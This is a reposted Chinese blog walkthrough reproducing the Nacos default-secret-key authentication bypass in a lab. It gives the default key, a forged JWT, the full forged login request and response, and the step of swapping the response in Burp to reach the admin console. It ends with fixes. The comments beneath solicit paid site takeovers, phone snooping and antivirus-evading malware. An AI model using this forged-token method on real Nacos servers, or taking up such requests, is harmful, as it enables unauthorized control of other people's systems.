转载:https://mp.weixin.qq.com/s/TpYX7NgcdoMZqWLQ-GBhJw
更新时间:2023年03月15日20:32:24
本文首发于t00ls
:https://www.t00ls.com/viewthread.php?tid=68771
本漏洞官方已在两周前发布修复方案,本文仅用于学习,绝对禁止用于非法渗透测试活动!!!
1. 漏洞介绍
本文仅做复现,不做分析!
其实就是默认key
的问题,比如:shiro550
、exchange
的CVE-2020-0688
、jwt伪造
等,都是类似的问题。
参考文档:
https://www.cnblogs.com/max-home/p/16795886.html
https://okaytc.github.io/posts/ad3be142.html
Nacos
是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos
身份认证绕过漏洞(QVD-2023-6271
),也叫做NVDB-CNVDB-2023674205
,暂无CVE
编号,开源服务管理平台Nacos
在默认配置下未对token.secret.key
进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
参考:https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ
漏洞影响范围:
0.1.0 基本上都受到了影响,最新的版本已修复漏洞。
2. 环境搭建
2.1 漏洞版本下载
首先从GitHub下载带有漏洞的源码:
https://github.com/alibaba/nacos/releases
在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:
可以选择这个:
下载到本地之后,在有java8
以上的环境下进行快速部署。
2.2 漏洞部署
部署环境:Windows10
+ java8
ip
地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd
使用命令startup.cmd -m standalone
来启动,但是在这里启动会遇到问题:
Please set the JAVA_HOME variable in your environment, We need java(x64)! jdk8 or later is better!
但是我们本地是有java
的环境的:
这个原因并不是我们的java
版本错误,而是需要修改一下在bat
文件中的java
路径,打开startup.cmd
:
找到jdk
的路径:C:javajdk
在这里补充你的java
的jdk
的位置,不要到bin
,它会自动拼接,jdk
的位置:
set JAVA_HOME="C:javajdk"
在这里一定要注意set JAVA_HOME="C:javajdk"
在jdk
后面这里不要加,不然就会报错!!!
然后再使用命令就起来了:
此时访问10.211.55.5:8848
,就可以看到nacos
启动了:
拼接路径nacos
到路径:
http://10.211.55.5:8848/nacos/#/login
到此,漏洞环境准备完成。
3. 漏洞复现
在nacos
中,token.secret.key
值是固定死的,位置在conf
下的application.properties
中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
3.1 获取token
利用该默认key
可进行jwt
构造,直接进入后台,构造方法:在https://jwt.io/中:输入默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789
然后再payload
里面输入:
{
"sub": "nacos",
"exp": 1678899909
}
在这里注意:1678899909
这个值是unix
时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09
,在这里面的时间戳时间是3月16
号了:
复制上面得到的值,在burp
里面选择登录之后构造:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
方框里面需要自行添加:
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
username=crowsec&password=crowsec
此时就得到了token
信息:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
此时就得到了nacos
的token
信息。
3.2 利用获取token登录后台
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp
拦截:
这肯定进不去的,在这里修改返回包,右键看下这个:
然后Forward
,这边返回的信息肯定是无效的:
在这里使用刚刚burp
里面生成的返回包进行替换,全部复制过去:
再forward
一次:
此时就已经进入了后台:
4. 修复
-
升级到最新版 nacos
,官方已经在两周前修复漏洞 -
修改配置文件中 secret key
的值
1.本站上传的源码,均为平台购买,作者提供,网友推荐,互联网平台整理而来,请下载后24小时内删除。如有需要,请购买正版.
2.请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
3.站内资源若侵犯了您的合法权益,请指出本站立即改正。
4.上述内容仅供学习参考及技术交流之用,未经相关的知识产权权利人同意,用户不得进行商业使用。
5.保姆式服务,百分百售后!
评论(6)
有偿找大佬帮忙,合法,事后必重谢!
重金求技术帮忙拿站,骗子勿扰。mimijiu
找我13627417135
酬谢:请帮忙查看,别人接连我家里WIFI的手机浏览记录。573243910@qq.com
诚心找作者:做PC免杀以上面图片的内容,高薪聘请+TG:aa330222
有偿找大佬帮忙 合法的